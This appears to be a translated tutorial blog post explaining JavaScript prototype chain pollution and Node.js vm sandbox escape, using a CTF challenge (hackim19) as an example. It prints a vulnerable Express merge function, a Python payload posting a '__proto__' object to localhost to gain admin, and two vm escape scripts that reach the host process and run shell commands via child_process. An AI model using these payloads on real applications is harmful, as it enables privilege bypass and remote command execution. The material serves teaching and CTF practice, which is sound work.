Directory
1. Prototype Chain Pollution
1. What is the difference between prototype and __proto__? ? ?
2. What is prototype chain pollution? ? ?
3. Under what circumstances will the prototype chain be polluted? ? ?
4. Example of prototype chain pollution
2. Sandbox escape bypass
1. How to achieve sandbox escape?
2. How to achieve bypass?
1. Prototype chain pollution
Prototype pollution is a security hole, very specific to JavaScript.
__proto__
inspects its members or calls Object.getPrototypeOf
to find out what the prototype of a given object is
When we try to access a property of an object, the JS engine first checks to see if the object itself contains the property. If yes, send it back. Otherwise, JS checks to see if the prototype has that property. If not, JS checks the prototype for the prototype, and so on until the prototype is null
. It’s called the prototype chain.
1. What is the difference between prototype and __proto__? ? ?
function Foo() { this.bar = 1 } Foo.prototype.show = function show() { console. log(this. bar) } let foo = new Foo() foo. show()
The prototype of the Foo
class is accessed through Foo.prototype
, but the object instantiated from Foo
cannot access the prototype through prototype. At this time, it’s time for __proto__
to appear.
in conclusion:
(1) prototype
is an attribute of a class, and all class objects will have the attributes and methods in prototype
when they are instantiated
(2) The __proto__
attribute of an object points to the prototype
attribute of the class where the object is located.
2. What is prototype chain pollution? ? ?
// foo is a simple JavaScript object let foo = {bar: 1} // foo.bar is now 1 console. log(foo. bar) // modify the prototype of foo (i.e. Object) foo.__proto__.bar = 2 // foo.bar is still 1 due to search order console. log(foo. bar) // At this time, use Object to create an empty zoo object let zoo = {} // view zoo.bar console.log(zoo.bar)
Note: Three printings are performed, the first two times are not polluted, and the printing results are consistent, and the third polluted printing result is modified, that is, the prototype is changed.
3. Under what circumstances will the prototype chain be polluted? ? ?
Think about the circumstances under which you can set the value of __proto__.
-
object merge combine splicing
-
Object clone (in fact, the kernel is to merge the object to be operated into an empty object) copy
4. Prototype chain pollution example
'use strict'; const express = require('express'); const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const path = require('path'); const isObject = obj => obj & amp; & amp; obj.constructor & amp; & amp; obj.constructor === Object; function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) & amp; & amp; isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } // Constants const PORT = 8080; const HOST = '0.0.0.0'; const admin = {}; //App const app = express(); app. use(bodyParser. json()) app.use(cookieParser()); app.use('/', express.static(path.join(__dirname, 'views'))); app. post('/signup', (req, res) => { var body = JSON. parse(JSON. stringify(req. body)); var copybody = clone(body) if (copybody.name) { res.cookie('name', copybody.name).json({ "done": "cookie set" }); } else { res.json({ "error": "cookie not set" }) } }); app.get('/getFlag', (req, res) => { var аadmin = JSON. parse(JSON. stringify(req. cookies)) if (admin. admin == 1) { res.send("hackim19{}"); } else { res.send("You are not authorized"); } }); app.listen(PORT, HOST); console.log(`Running on http://${HOST}:${PORT}`);
Through the analysis of the topic, there is a sensitive function merge. The function of the merge function is to merge objects, which involves the assignment of objects, and the key value is controllable, so that the prototype chain pollution can be triggered.
Write the payload and pollute it.
import requests import json url1 = "http://127.0.0.1:8080/signup" url2 = "http://127.0.0.1:8080/getflag" s = requests.session() headers = {"Context-Type": "application/json"} data1 = {"__proto__": {"admin": 1}} res1 = s.post(url1, headers=headers, data=json.dumps(data1)) res2 = s.get(url2) print (res2.text)
2. Sandbox escape bypass
1. How to escape from the sandbox?
An object outside the sandbox is found inside the sandbox (that is, the inside of the sandbox can access the outside of the sandbox), and the functions outside the sandbox can be obtained by using the properties of this object, thereby bypassing the sandbox.
The first type of sandbox escape, achieved through this
const vm = require('vm'); const script = ` const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString() `; const sandbox = { m: [], n: {},x:/regexp/ }; const context = new vm. createContext(sandbox); const res = vm. runInContext(script, context); console.log(res)
The second type of sandbox escape, there is no this
const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc. constructor. constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()`; const sandbox = Object. create(null); const context = new vm. createContext(sandbox); const res = vm. runInContext(script, context); console.log('Hello' + res)
2. How to achieve bypass?
//Finally achieve the result, a prompt box 1337 will pop up mafia = (new URL(location). searchParams. get('mafia') || '1 + 1') mafia = mafia. slice(0, 50) mafia = mafia.replace(/[\`'"\ + \-\!\\[\]]/gi, '_') mafia = mafia.replace(/alert|prompt|confirm/g, '_') eval(mafia)
Analyzing the code, it can be seen that `, ‘, “, +,-,!,\,[,] are filtered and the pop-up function alert, prompt, confirm is filtered. How to bypass it?
The first type, Function constructor
The second, use the eval function to bypass, use 2-36 base
Note: What does 8680439 represent? How come?
The third is to use the hash in the location to bypass
The above is an introduction to the reproduction of prototype chain pollution and sandbox escape bypass. The introduction is not comprehensive enough, and it will be further improved later.